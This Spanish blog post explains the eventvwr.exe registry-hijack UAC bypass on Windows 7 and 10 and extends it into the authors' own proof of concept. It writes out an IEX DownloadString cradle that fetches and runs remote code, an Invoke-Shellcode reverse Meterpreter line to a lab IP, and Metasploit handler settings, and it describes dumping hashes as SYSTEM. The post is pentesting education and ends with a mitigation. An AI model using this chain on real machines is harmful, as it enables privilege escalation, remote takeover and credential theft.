6 sept 2016

Fileless: Bypass UAC con Eventvwr e hijacking del registro

Hace unas semanas hablábamos de un bypass para UAC en Windows 10 de la mano de Matt Graeber. De nuevo es Matt Graeber el que ha publicado un nuevo método para saltarse el UAC, siempre y cuando el usuario pertenezca al grupo administradores. Las técnicas conocidas para llevar a cabo un bypass de UAC necesitan de la copia de un archivo, generalmente una DLL, en disco. La nueva técnica proporciona una forma de no copiar un archivo al disco, lo cual supone un “plus” a la hora de evadir mecanismos de seguridad y/o protección. Tal y como anunciaba Matt en su Github, la técnica se ha probado en Windows 7 y Windows 10. 

¿En qué consiste el bug? Cuando el proceso eventvwr.exe se ejecuta realiza algunas consultas al registro de Windows, en concreto contra la sección HKEY_CURRENT_USER. Eventvwr genera esas consultas siendo un proceso de alta integridad, es decir, se ejecuta con privilegio. ¿Qué hives son importantes en este bug? HKCR, HKEY_CLASSES_ROOT, es una de ellas. ¿Qué es? Es un hive dónde se combina HKLM:\Software\Classes y HKCU:\Software\Classes. Esto es realmente interesante, ya que HKCU puede ser modificado por el usuario normal, mientras que HKLM no. Entonces, si un proceso elevado, como puede ser en este caso eventvwr.exe ejecuta algo del hive HKCR, potencialmente se podría realizar un hijacking de las acciones y éstas se ejecutarían con integridad alta.

Además, el binario eventvwr.exe auto eleva debido a su manifest. Se sabe que algunos binarios de Microsoft están firmados por ellos de tal forma que el sistema operativo los auto eleva. Se puede encontrar más información sobre este tema en Microsoft. Volviendo al tema de los hives de registro, el proceso eventvwr.exe interactúa con HKCU\Software\Classes\mscfile\shell\open\command, aunque dicha consulta acaba en un “Nombre no encontrado”. Esto puede ser ojeado con Process Monitor de Sysinternals.


Por otro lado, eventvwr.exe también realiza una consulta a HKCR\mscfile\shell\open\command, y el valor predeterminado es mmc.exe.


Aunque la consulta a HKCU devolvió un error, se realizó antes que a HKCR, por lo que deja la puerta abierta a que el proceso eventvwr.exe pueda invocar o interactuar con lo que en HKCU se ponga, haciendo que haya una potencial elevación de privilegio mediante un bypass al UAC.

La PoC de Matt

Viendo dónde radica el fallo Matt propone un nuevo escenario. Se decide crear la estructura de registro necesaria para que eventvwr.exe consulte correctamente la ubicación HKCU, en lugar de la ubicación HKCR. En la prueba de concepto que se puede encontrar en el Github de Enigma0x3 se puede ver cómo en la ubicación HKCU\Software\Classes\mscfile\shell\open\command se incluye como valor el ejecutable de powershell.

Esta acción sustituye al valor esperado, que sería mmc.exe, por el valor de powershell.exe. A medida que el proceso continúa, se consigue ejecutar una powershell, en lugar del mmc.exe, que sería el valor esperado. Si se echa un ojo con Process Explorer se podría ver cómo la Powershell se está ejecutando con integridad alta, por lo que aquí tendríamos ya la elevación del privilegio.

Si se puede ejecutar una Powershell, se podría ejecutar un script malicioso, sin lugar a la duda. En resumen, Matt consigue ejecutar código en un proceso de alta integridad, bypass del UAC, sin necesidad de secuestrar una DLL u otro archivo y sin copiar archivos a disco. Esto reduce de forma muy significativa el riesgo de detección para el atacante.

¿Podemos ver un ejemplo? Matt Graeber y Enigma0x3 han publicado un script que implementa una función denominada Invoke-EventVwrBypass, la cual lleva a cabo la modificación del hive de HKCU y la invocación del proceso eventvwr.exe. El resultado final, si todo funciona correctamente, es que se genera un archivo denominado UACBypassTest.txt en la ruta c:\, la cual solo puede ser escrita cuando se tiene privilegio máximo en el sistema.

Una vez descargado el script de Powershell que tiene el exploit para realizar el Bypass de UAC se puede abrir una Powershell y ejecutar import-module [nombreScript.ps1].


Como se puede ver en la imagen anterior, se ejecuta la función Invoke-EventVwrBypass junto al parámetro Command. En el parámetro Command se le indica que queremos ejecutar con privilegio, y se realiza una llamada al binario powershell.exe y el código encodeado. Ese código encodeado generará un archivo en una ruta privilegiada, como es C:\, tal y como se puede ver en la siguiente imagen.


La PoC nuestra

La PoC de Matt y Enigma0x3 ha demostrado que existe un Bypass de UAC, pero nosotros hemos querido un paso más allá y hacer la ejecución de código más práctica. El escenario propuesto es el siguiente:

- Acceso físico o remoto al equipo. En este caso se hará una demostración con acceso físico, pero como se pudo ver en el artículo Tater & Hot Potato: Ownear sistemas Microsoft Windows, se podría tener acceso remoto mediante la explotación de alguna vulnerabilidad y llevar a cabo el bypass a través del payload de Powershell para Metasploit.
- Haremos que Powershell se descargue una función dinámicamente y la ejecute. Esta función será Invoke-Shellcode del framework de post-explotación Powersploit.
- La función descarga dinámicamente y su ejecución será encodeada para que la función Invoke-EventVwrBypass la pueda ejecutar.
- Una vez conseguido el bypass recibiremos un Meterpreter en nuestra consola remota de Metasploit.
- Demostraremos que tenemos un Meterpreter que se ejecuta en el contexto de System.

En primer lugar, vamos a estudiar un pequeño código y todo lo que nos ofrece. La sintaxis es sencilla: IEX (New-Object Net.WebClient).DownloadString(‘[ruta HTTP fichero PS1]’). Este código lo que hace es descargarse desde una ubicación externa cualquier tipo de código PS1, y mediante el uso de ‘IEX’, Invoke-Expression, se lleva a cabo su ejecución. El fichero que descargaremos será un script PS1 que tendrá la función Invoke-Shellcode y una línea que configura su ejecución al estilo Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lport 8000 -Lhost 192.168.56.101 -Force. Hay que señalar que se está usando una versión antigua de Invoke-Shellcode. 

Ahora para encodear la instrucción IEX (New-Object Net.WebClient).DownloadString(‘[ruta HTTP fichero PS1]’), se puede utilizar la función Out-EncodedCommand, la cual puede ser descargado desde Powersploit. 


Ese código encodeado será el que debamos utilizar para la función Invoke-EventVwrBypass. Antes de seguir, se debe configurar en Metasploit el módulo exploit/multi/handler para recibir la conexión. Los parámetros para esta PoC son sencillos:

- Payload: windows/meterpreter/reverse_http.
- LHOST: [IP nuestra]
- LPORT: 8000

Ahora, abriendo una Powershell, con el módulo importado de Invoke-EventVwrBypass, se ejecuta la siguiente línea Invoke-EventVwrBypass -Command “[ruta Powershell] -enc [Código encodeado]”.  


Esto aprovechará la vulnerabilidad explicada anteriormente y nos proporcionará una sesión en la dirección IP dónde le hayamos indicado. Al recibir la sesión en nuestra consola de Metasploit podemos comprobar que el usuario es SYSTEM y podemos, por ejemplo, realizar un volcado de hashes de la máquina. Tenemos el control total.


Conclusiones

Esta técnica no requiere copiar archivos en disco, y directamente todo ocurre en memoria, lo cual ayuda, y mucho, a evadir sistemas de seguridad. Esta técnica no requiere ningún proceso de inyección. Esta técnica permite lograr un bypass de UAC, es decir, no es una escalada de privilegios total, ya que se necesita que el usuario pertenezca al grupo administradores. El fallo de seguridad puede ser remediada estableciendo el nivel de UAC en “Siempre notificar”, aunque a muchos usuarios les pese encontrar ese mensaje, o incluso en “Siempre solicitar credenciales”. En definitiva, nueva técnica que deberemos llevar en la mochila del pentester.


No hay comentarios:

Publicar un comentario